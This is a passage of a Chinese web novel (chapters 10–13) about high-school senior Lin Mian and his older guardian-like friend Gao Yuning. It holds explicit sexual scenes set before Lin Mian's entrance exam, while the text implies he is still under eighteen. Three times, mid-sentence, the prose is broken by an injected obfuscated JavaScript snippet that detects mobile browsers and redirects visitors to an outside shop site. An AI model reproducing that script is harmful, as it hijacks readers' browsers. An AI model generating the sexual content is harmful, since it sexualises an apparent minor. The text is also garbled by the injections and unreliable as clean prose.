林缅当然不会告诉郜屿宁是因为跟你睡在一起。他觉得自己有点矫枉过正了,越是不许自己想郜屿宁越是忍不住,想到睡梦中两个人会贴在一起、抱在一起他就觉得身体热热的,他想蹭蹭哥哥的嘴巴、抱住哥哥的腰,不知不觉陷入了某种情结不深但也很难受的自我厌弃里。 但又舍不得说我自己一个人睡。 “不知道,就是很不舒服,也没感觉。”林缅垂着头啃包子,兴致缺缺。 啃到心儿了才发现自己拿错包子了,是梅干菜的,他不爱吃梅干菜的,“哥,是梅干菜的。” 郜屿宁接了过去,把手里那个豆沙的给了他。两人很自然地吃着对方剩下的包子。 林缅眼皮轻轻掀起来,看向正在查看百度结果的郜屿宁。 他抿了抿嘴唇,干涩的嘴唇恢复了一些水润,低着声音问,“哥,下次你帮我好不好?” 郜屿宁看到搜索结果里确实有提到心理压力大或是情绪焦虑也会有影响。郜屿宁继续往下滑,研究得很投入。 林缅觉得自己脸都快烧起来了,对方却无动于衷,把脸贴在冰凉的桌子上,又加了一句,语气怨怼,“不然我睡也睡不好,学也学不好…” 郜屿宁扫了眼愁着小脸的林缅,“晚上回来再说吧,实在不行带你去看医生。” 林缅抬起脑袋继续啃早饭。 今天是周六,郜屿宁却还要加班,林缅帮郜屿宁把西装外套从房间里拿出来,又挑了条领带,埋怨道,“你老板怎么这样,大周六的还要加班,没人性。”完全没顾及地吐槽自己的亲爹。 郜屿宁说,“好好复习,晚上回来检查。” “知道啦。”林缅点了点头。 最近公司很忙,下午还临时加了一场会议,郜屿宁到办公室就忙得脚不点地。 午休的时候,郜屿宁去茶水间接咖啡,几个别的部门的同事八卦地讨论着最近发生的事儿,整个公司总有点人心躁动的感觉。 有一个同事靠过来向他打探公司高层的人员调动。 郜屿宁知道这是最近公司里浮躁的原因,传言会有狠角色空降。但是作为除了他的秘书之外距离林佑勤最近的人,他一点也没听说过。 他抿了口咖啡,“可能吧,不太清楚。”即便他自己觉得是空穴来风,还是模棱两可地简单回答了句。 下午会议进程正常的推进,但不出意外地冗长,会议结束已经是下班的点了。会议室里的人逐渐离场,郜屿宁也整了整资料准备回办公室。 但是林佑勤的李秘书叫郜屿宁去一趟总裁办公室。 本想早点回去烧饭带孩子的郜屿宁只好收拾了资料丢回办公室,就去了林佑勤办公室。 办公室里只有他们两人,林佑勤正在抽雪茄,朝沙发的位置点了点,示意郜屿宁坐。 郜屿宁想赶紧回家,但还是有条不紊地说,“您说,林总。” “最近小缅怎么样?”林佑勤问。 一直想着要找机会告诉林佑勤林缅想要留在国内的事情,郜屿宁突然觉得现在倒是个好时机,不如干脆说了。 就在他准备开口的时候,林佑勤正好说,“小缅不肯出国的事情,你是知道的吧?” 郜屿宁微怔,下意识地分辨林佑勤说这句话时的情绪,但接着就听到他无奈地哀叹了一声,“你也不用为难,他长大了有自己的主意也很正常。” 郜屿宁扯了扯嘴角,略显苍白地说,“也没有。” 林佑勤继续说,“这小兔崽子压根儿没把我这个爹放在眼里,派他哥来当说客,知道这招最管用。” 郜屿宁顿了片刻,嘴唇抿成一条线,用沉默回答。 “反正他哥也准备要回国了,多了个管他的,以后也不会总黏着你。” 原来之前说空降的高层就是林准。 郜屿宁看着林佑勤指尖的烟被捻灭在烟灰缸里,无力地飘起若有似无的白烟,他突然觉得嗓子很紧,肺也隐隐发痒。 林佑勤接着开始说废话,说你又懂技术又有能力等进了管理层能有多吃香巴拉巴拉,还说林缅和他亲哥分别时间很长要多培养感情,留在国内也是好事。 郜屿宁的视线从烟灰缸移到林佑勤的眼睛上,直到谈话结束,他只记得他画了个大饼,其他什么都不记得。 回到家楼下的时候,天色已经完全暗下来。 郜屿宁总觉心头蒙着一层灰。自从上次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990808|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林缅偷偷抽电子烟开始,他有意识地在减少自己抽烟的频率,但是他现在一根接着一根,肺在隐隐作痛。 这种莫名其妙的占有欲想来是很幼稚的,也很奇怪。可是,他没有因为林缅有青春期小秘密不告诉他而不爽,也不会因为林缅有早恋对象而多做干涉。 郜屿宁呼出一口浊气,把最后一个烟头和被揉烂的空烟盒丢进垃圾箱回了家。 家里客厅灯亮着,浴室里传出流水声,是林缅在洗澡。没过一会,林缅似乎听到外面有人走动的声音,打开卫生间的门探出脑袋。 “哥,是你回来了吗?我忘拿浴巾了!”说完确定郜屿宁回来之后把头重新缩了回去。 “去淋浴间等。”郜屿宁回卧室给他拿浴巾。 “哦。”林缅身上挂着水珠,嘴上答应,却还是站在原地。 很快浴室的门被敲响,但又从门外被直接打开。 林缅准备伸手接浴巾,郜屿宁却没有把浴巾给他,推开门直接走了进来。 “不是让你在里面等?不冷?”郜屿宁用手肘把门带上。 门被打开一瞬,冷气逼人,林缅光着身子朝后退了两步,差点冻出一层鸡皮疙瘩,他吸了吸鼻子,但说,“还好。” 郜屿宁抬手把浴巾盖在他身上。 隔着浴巾捏了一把他的手臂,又把他转过去摸着他的背,帮他把身上的水珠被擦得大差不差。 郜屿宁还穿着正装,连皮鞋都没换,从头到脚一丝不苟。 林缅却赤身裸体地裹在浴巾里,有点不好意思地垂着眼睛,“你先出去吧哥,我穿衣服。” “不是说要我帮你吗?”郜屿宁微微扭过头轻咳了一声,又看向他说道。 他拿起浴巾的边,在林缅的脑袋上也揉了一把,眼神轻轻地落在他身上。 两人呆在密闭的空间里,热气还在慢慢蒸腾,雪松味的沐浴露香气随着水汽在空中飘散,不知为何感觉甜比冷调更明显一些。 林缅看向郜屿宁,愣了两秒,眼神躲闪,有些紧张,“啊…现在吗?” “嗯。”郜屿宁回答,揽住林缅的腰往后走,林缅没站稳踉跄了两步,直接往后摔去,两个人一齐坐在坐便器的盖子上,前胸贴后背。 林缅的拖鞋也被绊掉了,两只脚正好踩在郜屿宁的皮鞋上。 浴巾掉在地上。浴室里开着暖烘烘的浴霸,一片亮黄色,照在林缅的身上。 林缅还未来得及反应,就感觉到一阵酥麻在身体里蔓延开来,像电流一样经过他每一根神经,连脚趾都不自觉地蜷缩在一起。 …………… “嗯…” 浴室的热气似乎还在蒸腾,让他晕头转向,分不清现实与幻觉。 …………… 林缅深吸了一口气,声音有点湿,带着潮气,“你轻点…” …………… “你松手、你快松手…哥。” …………… 这种时刻脑子已经混沌一片,只能发出呜咽,林缅终于痛苦得有些发恼。 “郜屿宁!”叫全名却叫得毫无气势、委屈至极,带着浓重的哭腔,楚楚可怜,像极了哀求。 郜屿宁依旧看着他的表情,若有似无地轻笑了一声,“嗯?” “你快让我…” 恼怒的话还没有说完,好似一阵风吹来,把顽劣的落叶给轻飘飘地吹走了。 未说完的话语变成一声不由自主地小声惊呼,“嗯啊…”身体在郜屿宁的怀里无法自控地战栗了一下。 水域深处的伏流迅速跳动、扩张。 被掩住的泉眼喷涌出水花。 11. 第 11 章 林缅眼睛红了一圈,眼泪挂到了下巴上,也不知道为什么自己会觉得很委屈、哭得止不住,明明舒服得快死掉了。 腿上挂满了泥泞,一片狼藉。 他迫切地拧着上半身转过来想要被抱住,也不管会不会把郜屿宁的西装弄脏。 郜屿宁不为所动地等他抱住自己,林缅等不到回应,呜咽了一声握着他的手腕,往自己的后背上放,郜屿宁才开始抚摸他的背,算作安抚。 “哭什么?”郜屿宁明知故问,但声音很轻。 林缅把头埋得更深一点。 “不舒服?”郜屿宁也低下头,追问。 “不是…” “那是为什么?”郜屿宁好像一定要他说出个所以然来。 林缅搂住郜屿宁脖子,抱得更紧了一些,嘴唇轻轻蹭在郜屿宁的皮肤上,还带着哭腔娇气地回应,“哥…” 郜屿宁没再刁难他,拍了拍他的后腰,“去冲一下。” 林缅摇了摇头,他没力气了。 郜屿宁只好把他扶起来,推进淋浴间,打开花洒帮他把两条腿上的污泥冲洗干净。 拿了条干净的浴巾把他裹住,抱进房间。 被塞进被子里的林缅视线落在郜屿宁的西装上,原本笔挺精致的西装沾上了深一块浅一块的水渍,也被他揪得皱皱巴巴。 林缅脸热地躲开视线。 郜屿宁洗漱完回房间的时候,林缅正趴在床上看错题,只露出一颗毛茸茸的脑袋。 也不知道有没有看进去,眼睛鼻尖都还是红着,手里攥了张纸巾已经被揉得掉屑了。 郜屿宁上床之后把他面前的本子,拿走放到床头柜上,“看不进去别看了,直接睡吧。” 林缅彻底趴了下来,脸贴在手背上,朝郜屿宁身边挪了挪,小声地说,“要抱…” 本以为郜屿宁会像以前一样皱着眉说一句“你都多大了”再不情不愿地行动,但这次郜屿宁没有废话,虽然面色没有缓和,关了灯之后还是沉默着轻轻搂住了他。 房间彻底陷入漆黑。越是黑暗、安静的环境,情绪就越肆无忌惮地涌现。 林缅挪得更近了一些,直接把脑袋贴在郜屿宁的胸口,明明两个人用的是一样的沐浴露,但是哥哥身上的就是更好闻一些。 他脑子越来越混沌,觉得自己好像得了一种很奇怪、很变态的病。 他一直知道自己喜欢平时被郜屿宁管。可是没想到,郜屿宁不允许他射.精的时候他能这么兴奋、痛苦,各种极端的情绪能同时在他的脑海和身体里存在。 他之前听徐语常讲过ABO信息素什么的,他觉得他现在就是很需要郜屿宁身上的气味来安抚自己,所以不想也没办法再强掩自己想对郜屿宁生理上的依赖,搂得越来越紧,呼吸也越来越快。 郜屿宁觉得怀里的人好像在抖,呼吸很急促。他仔细听了两秒,起身打开灯,房间恢复光明,看见林缅紧闭着眼睛,脸上眼泪纵横,脸红得不正常。 郜屿宁摸了摸他的脖颈,温度直往他的手心里钻。林缅发烧了。 郜屿宁起身去客厅拿温度计和药片,衣角却还是被林缅死死拽着,“不要走,哥…” 一副可怜样,郜屿宁的心也被浸软了一点,声音也放轻,“去拿药,很快回来。”说着把林缅的手一点点从衣服上扒下来。 幸好第二天是周日,郜屿宁不用上班林缅不用上学,两个人都没睡好。 林缅睡到中午才醒来,身体已经没有不适,神清气爽。发现郜屿宁不在身边赶紧光着脚就跑出房间找人了,“哥!” 郜屿宁在厨房做饭,因为厨房的温度比外面高些,他只穿着件黑色的无袖背心,围裙松松垮垮地穿在身上,听见声音看了眼林缅,“回去把鞋穿上。” “哦,马上。”但走到郜屿宁身后帮他把围裙重新系紧了一点。 还摸了一把郜屿宁大臂上线条流畅的肌肉。 郜屿宁看了他一眼,“没不舒服了?” 林缅直接把额头贴在郜屿宁的手臂上,让他感受自己的温度,“没有了。” 林缅生怕郜屿宁会自责,他解释道,“昨天晚上洗澡忘记拿浴巾了,本来想冲回房间的,但是客厅的灯还亮着,窗帘也没拉,就在里面等了很久所以才冻发烧的。” 郜屿宁微不可查地顿了一下,轻轻“嗯”了一声继续忙活。 “哥…你以后能不能轻一点,而且堵得太久了,很疼。”林缅有点扭捏着说。 郜屿宁拿往旁边迈了一步拿盐罐他也赶紧凑上去,退回来他也随着郜屿宁撤了一步。 他继续说,“我昨天晚上就是有点不适应,才会哭的,不是不喜欢,也不是不舒服…哥,下次我也可以帮你的。” 这回一点都不带害臊的。 郜屿宁胸口起伏了一下,有些无奈地扫他一眼,“赶紧去穿鞋。” 林缅置若罔闻地解释,“我怕你觉得我莫名其妙哭,很奇怪嘛…” 话说一半,他又突然凑近了嗅了嗅,皱起眉头说,“不是说好了,以后少抽烟的吗?” 昨天晚上郜屿宁掐他脸的时候就闻到了烟味,但他那时自身难保,现在又闻到了,不知道大清早跑哪里抽烟去了,他心中不满。 郜屿宁回答,“知道了。” 小话唠林缅还想说些什么,郜屿宁放下手里的东西,弯腰直接抱着林缅的腿把他扛了起来,扛回房间,扔到床上,指着他说,“穿了鞋再出来。”说完转身就走出房间。 林缅倒在床上,本要埋冤,但想到郜屿宁神色有些疲倦,眼下泛着淡淡的乌青,知道照顾他一晚没睡好,又有些心疼,只是拖长了尾音“哦”一声。 自从林缅走读之后有大半个月没有回过家,果然这周五放学的时候看见张叔的车稳稳当当地停在门口。 林缅又开始给郜屿宁直播似的报备。 林缅:哥我回家了…感觉又会被林佑勤制裁… 林缅:应酬也要少喝酒、少抽烟哦,离那帮臭男人远一点!知道了吗? 林缅:喝多了我不在家可没有人照顾你[右哼哼][右哼哼] 收到消息的时候,郜屿宁刚到餐厅。 他回复完就进了包厢。 包厢里两个西装笔挺的“臭男人”,还有一个穿着休闲套装的“臭男人”,见郜屿宁进门笑着起身相迎。 他跟林缅随口说是应酬,但其实是老朋友聚会。 魏连和陆停言在海市创业,这两年正值上升期准备把科技公司搬到一线城市江市来,这次出差就是来看地的。 见郜屿宁来晚了,魏连和陆停言都打趣郜屿宁是大忙人。 楚齐彦在郜屿宁开口之前连忙回答,“可不是嘛!别看我和屿宁都在江市,除了健身都约不出来。” 郜屿宁笑了一声,“两个大男人,除了健身你还想约我干什么?” 楚齐彦给他递烟,郜屿宁只是拿在手里玩着,继续说,“再说,我又不像你工作那么清闲。” 四人在海市念高中时就是朋友,后来郜屿宁和楚齐彦都考上了江市大学的不同专业,都留在了江市。 楚齐彦工作后在江大隔壁的江市理工当了大学体育老师,在外人眼里日子也是过得清闲自在。 “这不是有老板你不愿意当嘛?”陆停言说。 创业两人一个暴发户富二代一个学的是商科,对核心技术都不了解,直到现在还经常请教工科专业对口的郜屿宁,上次郜屿宁也是帮他们看得图纸。刚开始魏连和陆停言挖了他好几次,劝他技术入股,他都以不愿意回海市拒绝了。 知道他家庭情况的两位朋友也没再多劝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990809|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但现在这话题又重新开启了,魏连也说,“现在我们都来江市了,你总得给我们面子了吧?” 郜屿宁犹豫了一下,手指轻轻碾着烟嘴,笑着说,“行,我想想。” 楚齐彦发起牢骚,“清闲个屁,我妈天天给我安排相亲,不知道她老人家远在海市,怎么跟在我身上安了监控似的。” 关于长辈催婚,本就待在海市父母身边的魏连和陆停言太有发言权了。 “你说说你都二十五六了,现在是你挑别人,再过两年就是别人挑你啦!”陆停言学完父母的语气,哀叹了一声,“说得也太难听了。” 魏连开玩笑说,“不说别的,搬来江市有百分之八十是为了躲催婚,剩下的二十才是为了公司发展。” 餐桌上气氛轻松,好朋友也不用刻意规避在郜屿宁面前提父母的话题,楚齐彦直接问,“屿宁,你跟叔叔最近有联系吗?” “没有,上次联系还是过年的时候。”郜屿宁平淡地说。过年到现在已经几个月过去了,这几年来除了过年给郜青山转钱,基本上不会联系。 “这样也好,起码不催你结婚。” 自从父母在他初中那年离婚后,他和郜青山的关系就降到冰点。 他永远都记得那一天放学回家,一个打扮时髦的女人站在家门口,带着一个喊他哥哥的男孩。 郜青山和梁慧音的争吵声和摔东西的声音从屋内传来。 后来他才知道郜青山出轨很多年,居然还有一个快十岁的儿子。 家里一切的收入来源是母亲梁慧音经营的小餐馆,郜青山游手好闲,除了在餐馆里打打杂也干不成什么大事,那对母子也不知道看上他什么。 但镇上传言,那个女人带着郜青山的种本想傍当地哪个大款,却被识破了,只好回来找郜青山。 梁慧音和郜青山离婚时还把那家小餐馆搭给他们了,那时郜屿宁在准备中考,她只想带着郜屿宁尽快跟他们撇清关系。好在郜屿宁还是很争气地考上了市里最好的高中。 只是净身出户的母子之后生活有多困难不难想象。关于高中的记忆,郜屿宁除了穷和累就没有别的形容词了。熬到高考之后本以为好日子要好起来了,梁慧音却因为多年积劳成病,突发心脏病抢救无效,去世了。 但人一家三口却把日子过得好好的,还把餐馆关了,开成了小超市。 这些年,除了梁慧音忌日,郜屿宁没再回过海市,和郜青山他们一家三口也不想有任何联系。 说不恨是假的,但是时至今日,再恨下去不知道是惩罚别人还是在惩罚自己,人家的日子照样过得有滋有味的。况且当时梁慧音为了和郜青山一刀两断能选择净身出户,郜屿宁知道梁慧音也不会希望他老是把这些糟心事儿记挂在心里。 郜屿宁的洒脱和果断多半是遗传了梁慧音的。 况且,魏连和陆停言都在海市,每年清明节也会去帮忙扫墓、除草,郜屿宁对海市更没牵挂了。 接着上一句话,魏连说道,“不说有没有人催婚,郜屿宁不还是连婚房都在江市买好了?” 郜屿宁思绪回笼,把烟嘴里的爆珠轻轻捻碎,夹着烟送进嘴里,“别瞎说。” 楚齐彦举起杯子,同饮一口,“太好了,以后大家都在江市,随时能聚了。” 郜屿宁抬起嘴角,拿起杯子在桌上轻轻点了一下。 餐桌上叙旧话题不断。郜屿宁看了眼手机,是林缅发来的消息。 林缅:哥哥哥!我靠我爸知道我要留在国内的事情了!居然没骂我! 林缅:哥你什么时候跟他说的? 林缅:你怎么都没告诉我呢哥哥? 林缅:爱你老公! 正在喝水的郜屿宁猛呛了一口。 林缅很快撤回了,重新发来:爱你老哥! 12. 第 12 章 周一晚自习放学,郜屿宁去接林缅,一上车就看见林缅下巴上青了一块,还是没心没肺笑得开心。 “怎么了?”郜屿宁扫了他一眼,车厢里光线昏暗,但看着还是很明显。 林缅打开车上的镜子,看了一眼,嘟囔了一句,“还这么明显啊,以为很快就能消了就没告诉你呢。” 他一笔带过,“我爸要打我,我躲的时候不小心磕桌子上了。”周末在家里两天,林缅给郜屿宁发了几十上百条消息,也没提自己磕到了的事情。 “不是说没生气吗?怎么又要打你了。”郜屿宁扫了眼后视镜问。 “不是因为这个。”林缅低声说。 真实情况是,沈珏知道林缅在准备高考的事情后,提议让他每天回家好照顾他,但是林缅想要继续偷偷住在郜屿宁家里,就借口“走读太浪费时间了”,却被林佑勤骂“不识好歹”。父子俩一来二去又吵了起来,最后还是沈珏劝了好久替林缅说话才作罢,虽是小事,但这样的情形不知道发生过多少次了。 但林缅又很快亢奋起来,“但是,他还真没骂我,还以为他会打击我高考积极性呢。哥,你到底怎么跟他说的?” 郜屿宁扶着方向盘,轻描淡写,“是你亲哥说的。” 林缅稍稍顿了一下,看着郜屿宁的侧脸,主动解释,“我没有叫他去说,只是那天打电话的时候提了一嘴。” “知道。”郜屿宁回答。 林缅扭过头看着车窗,玻璃上映出郜屿宁,不着情绪。 林缅突然又转过头说,“那你为什么最近总对我那么冷淡的?我明明这几天很乖啊。” 郜屿宁牵起一点嘴角,打趣似的,“我不一直这样?” 林缅靠到座椅上,看着一盏盏路灯擦肩而过,有点委屈地说,“我又哪里惹你不开心了。” “说得我倒像是在无理取闹了。”郜屿宁清了清嗓子,朝左侧的后视镜瞥了眼。 “不是吗?你最近睡觉总背对我、被发现抽烟也不解释…前几天模考考那么好也没见你夸我…” 林缅虽然没有表现出来,其实记仇的很,早还以为是自己的错觉,他对郜屿宁的诸条罪行口诛笔伐。 最可恶的是,前两天郜屿宁第二次帮林缅的时候,居然是一副公事公办、滴水不漏的表情,这让当时脸红心跳、情欲难耐的林缅事后觉得很受伤。 只是这点他没好意思说,他总不能要求对方也要露出同等忘情的表情吧。但不妨碍他在小本本上狠狠记上一笔。 所以他放轻放软了声音,悄悄瞟着郜屿宁,“除非,今天晚上你让我帮你,我就相信你不是在生闷气。” 郜屿宁猜到他没憋好屁,果然不吃他这一套,笑道,“哼哼,爱信不信。” 林缅讪讪地闭了嘴。 回到家里还是照样给郜屿宁检查了作业、问了几道错题,最近林缅的进步确实很大,效率也高了很多。郜屿宁夸了他几句,他马上尾巴又翘到天上去了,觉得自己又行了。 做足了心理建设,趁着郜屿宁洗澡的时候直接冲了进去。 浴室里烟雾缭绕,淋浴间的的玻璃上铺着一层淡淡的雾气,里面的人影若隐若现。 唯一能看清的是,郜屿宁仰着头,花洒的水沿着他的额角、下颌线往下落,湿发被他随意抓成背头,露出清俊锋利的眉眼。 郜屿宁听到动静透过淋浴间的玻璃看向他,林缅心跳骤停了一拍,胡诌道,“我要尿尿。” 其实这些年相处下来,对方的赤身裸体没少见过,但林缅现在只是看到一个轮廓就不自在极了。林缅在马桶面前做了做样子。 郜屿宁没说话,正好把花洒关了,准备用沐浴露。 林缅做完样子,直接迈了两步到淋浴间的玻璃门前,深吸一口气,“哗”得把门拉开了。 空气凝滞了一秒。 郜屿宁明显也没料到林缅会这样,愣了愣,反应过来林缅是什么意思,“你有病?” 林缅皱着眉,明明臊得面红耳赤,说道,“都是男人有什么可害臊的,你帮过我了我也得帮帮你。” 郜屿宁身上还挂着沐浴露的白色泡沫,抹了一把脖子,身上的肌肉因为水痕泛着透明的光泽。 林缅眼睛不知道往哪里放,看郜屿宁眼睛又怕自己心虚,又不敢看别的地方,两条腿跟粘在地上了一样。 郜屿宁问,“你追女孩儿也这样?不搭理你你就耍流氓?” 林缅急了,“什么女孩儿,我只对你这样…” “这么说,我还得谢谢你呗。”郜屿宁侧身把手搭在关上,看着林缅抬了抬下巴,意思他要开花洒了让林缅出去。 林缅脸沉下来,准备出淋浴间,刚扭了个身,就踩到地上的泡沫脚底打滑,惊呼了一声,本以为要狠狠摔一跤,被郜屿宁赶紧捞住了。 站好后林缅脸红得滴血,才发现自己的身上的衣服刚刚蹭在地上已经湿透了,还沾上了郜屿宁身上的泡沫,只能重新冲一遍澡。 他偷偷掀起眼皮瞟了一眼,郜屿宁的脸已经彻底冷了下来。 郜屿宁沉默着拎起他衣服的下摆,林缅只好配合着抬手,脱掉衣物。 林缅终于有点后悔来这么胡闹一通了。 郜屿宁视线往下扫了一眼。 “不是,你怎么回事儿?”郜屿宁调笑地声音突然在密闭的淋浴间响起。 “我…”林缅羞愤难堪,扭过身去,准备开花洒,想赶紧冲完澡出去。 突然整个人被郜屿宁从后面拢住。 “嗯…” 他不由自主地,身子软了下来,站立的重心完全落在了郜屿宁的身上,刚想辩驳的话也消失了。 郜屿宁帮他解决完之后,林缅觉得自己又丢人了,强烈要求帮郜屿宁。 …………… 只是他酸得换了好几次手,最后还得郜屿宁带着他。 回到卧室,林缅故意把酸疼得厉害的右胳膊一直往郜屿宁身上搭。郜屿宁揉了一把他的胳膊,嘴上冷哼了一声。 “非要自取其辱?” 没说哪个方面,但是林缅相比之下哪个方面都不够争气。 林缅哼唧了一声,心中可惜还是没看到郜屿宁那种表情,忿忿地说,“没意思,以后不要帮你了。” “我请你的?”郜屿宁继续说,“不知道折磨谁呢。” 帮他捏完胳膊,郜屿宁掐着他的脸,看他下巴上的那小块淤青。 “说了别跟你爸硬杠,怎么不长教训。” 林缅睁开眼睛,睫毛轻轻颤了两下,嘟囔着说,“我不回嘴我难受,又打不死我。” “让你学乖点你不听,以后有的是苦头吃。”郜屿宁拿着药膏,把他的脸往床头灯的方向偏了偏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990810|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教育他,“上次考试收卷铃都响了,是不是还跟老师撕巴试卷来着?没判你作弊算你运气好。” 林缅看着认真帮自己涂药的郜屿宁,泛黄的灯光柔化了他的棱角,眼神都显得温柔了许多,两片薄薄的嘴唇一张一合,看着红红的软软的,他完全听不进郜屿宁在说什么。 低低说了声,“什么响铃卷?” “啧。”郜屿宁无语地看了他一眼。 林缅回过神来,嬉皮笑脸地摸了摸郜屿宁的脸,“我知道我知道,哥,我以后一定听话,不让你操心。” 郜屿宁把药膏扔到床头柜上,啪得把夜灯关了,房间里陷入黑暗,“睡觉。” 沉寂了一会,林缅开口,“哥,你睡着了吗?” “睡着了。” 林缅看着漆黑的天花板,继续说,“其实我很紧张。” 郜屿宁回答,“你要是闲得慌,就去把练习册上那些我叫你别做的题目都做了。” “之前还说浪费时间呢…”林缅有点抱怨地说。 郜屿宁很理解他大考之前的焦虑,是很认真地在安慰他,“做的时候你就能发现,其实你基础已经很扎实了,该会的你都会了,那些题目对于你来说很简单。” 林缅若有所思,扭过看向身边的人,“哥,你怎么不问我为什么会紧张?” “嗯?” “因为你之前说我考不上江大就不理我了。”林缅有些娇嗔地像是在责备郜屿宁。 郜屿宁的声音里带了点笑意,“这么把我的话放心上呢?” 林缅侧躺过来,直接面对着郜屿宁,“你说得这是什么话,你哪次说话我没有听啦?” 郜屿宁故意逗他,“那你考不上就别叫我哥了,我说认真的。” 林缅一气之下在床上又翻了个一百八十度的身,背对着郜屿宁挪到床边,直接把头埋进被子里。 郜屿宁觉得好笑,偏过头看着被子里的一坨,“过来。” 林缅勉强地把头从被子里探出来,只露出一个毛茸茸的后脑勺。 “要不要抱了?” 林缅身子微微向后倾了一下,跟探出洞的兔子一样,又迅速地挪了回来,不情不愿地窝进郜屿宁的怀里,嘴硬道,“抱也哄不好。” “哦,那不抱了。”郜屿宁故意说。 “啊!”林缅叫了一声,发现背上的手根本没撒开,知道郜屿宁在逗他,但还是气不过咬了一口郜屿宁的肩膀。 郜屿宁笑着拍他的背,“好了好了,不闹了。” “干嘛老是逗我…”林缅安分下来,声音闷闷的。 难得认真地安慰道,“其实你基础挺好的,只是应试技巧不太够,所以前几次模考成绩不那么理想,后来我帮你复习之后不是都考得还不错。” “可是离江大差得远着呢…”林缅绝望地说。 “尽力就行。你这次进步确实挺大的,夸夸你,可以吗?”郜屿宁紧了紧手臂。 林缅很受用地用脑袋蹭了蹭郜屿宁的脖子,很容易就被哄好了。被郜屿宁的气息包围着很快不安的情绪很快就消散了,迷迷糊糊地要沉入梦乡。 记忆里好像有件事情没说,像说梦话一样,“哥,明天…开家长会…我忘说了…” 郜屿宁一阵无语。 这小孩儿到底哪里紧张了,连家长会这么重要的事都差点忘记。 13. 第 13 章 最后一次家长会、最后一次模考…五月就和开了加速器一样以各种特别清晰的节点有条不紊地往前滚动,转瞬即逝。 林缅偶尔半夜睡不着,郜屿宁就拉他起来看国外学校给他发的“Congratulations”缓解焦虑,林缅狠下心来,决定一所学校的留位费都不交,彻底断了自己后路。 或是一起做简单得不行的练习题,帮他找自信。 郜屿宁有时还会拉他打两把游戏想带他放松一下,倒是林缅吵着说书还没背好,叫郜屿宁自己玩去别打扰他。 高考前几天,林佑勤找郜屿宁,让他跟林缅老师请个假,林缅高考那几天让张叔接他回家住。 林佑勤到现在都不知道林缅一直住在郜屿宁家里,郜屿宁摸了摸鼻尖,说,“还是平常心对待吧,突然回家不适应,小缅又要闹。” 郜屿宁说话直接了当,林佑勤愣了愣,但是自己儿子什么脾气他也是知道的,也没再多说,只说那高考之后再接他回家。 高考那几天,对于林缅来说和平常没有什么太大的区别。唯一的记忆就是,前一天晚上郜屿宁问他第二天考试穿什么衣服,他把一件黑色的T恤拿给郜屿宁。 他洗完澡出来,却看见,郜屿宁带着黑框眼镜,拿着绣花针往他的衣服后领上绣一小块红色的布条。 他凑过去仔细看,上面是一个精致小巧的彩云的图案。 郜屿宁继续缝着,针脚别别扭扭的,“借你的,考完记得还给我。” 林缅鼻子有些发酸,抱住郜屿宁的腰,脑袋在他的胸口蹭了蹭,“哥,你真好。” 林缅不难猜到,这是郜屿宁高考时他妈妈给他绣的。他妈妈去世后,也一直留到现在。 因为郜屿宁的针法实在太差劲了,导致林缅考试的时候,后颈经常会蹭到那一块布条柔软的边角,但反倒觉得更安心了一些。 走出考场,六月的活力扑面而来,他才真正开始听见蝉鸣、看见苍翠的绿叶、感受到夏天。 之前唯一的盼头就是高考结束,就好像高考之后日子会发生翻天覆地的变化,但好像并不是这样。 唯一的变化就是他迫不得已地搬回家里住了。 晚上,吴姨来他房间里收脏衣服的时候,林缅正在和郜屿宁视频,绘声绘色地跟他讲考试的时候碰到他没见过的题目是如何化险为夷的。 电话那头的人郜屿宁正在看图纸,有一搭没一搭地应着他。 突然,郜屿宁听见林缅叫了一声追着吴姨跑了出去,视频只剩下被摆得满满当当的假面骑士的手办柜。 过了一会,林缅才重新出现在屏幕里。 “干嘛去了?”郜屿宁问。 林缅举起衣服的领子给郜屿宁看,笑嘻嘻地说,“拯救小彩云。” 郜屿宁被他逗笑了,“收好了,下次还给我。” “遵命!”林缅亢奋地说。 但很快又蔫了下来,“我这段时间呆在家里,还不知道我爸要怎么挑我的刺。” 郜屿宁视线从电脑上移到手机屏幕上,“不想住家里就搬出来。” 林缅乖顺地点了点头,“我就住十天半个月意思一下。” 互道晚安之后,林缅抱着T恤爬上床。其实这十天半个月倒不是真是为了住在家里,是他有个计划。 他要考摩托车驾驶证。他身份证上的日期比他实际生日要早一些,所以他算是已经成年了。 但是不太敢让郜屿宁知道,因为郜屿宁连让他坐后座兜风都不太乐意。 于是小少爷顶着三伏天的大太阳,骑着三蹦子,在驾校的训练场上混得风生水起,历时十九天终于拿下来最全面的摩托车D照,只是晒黑了一点。 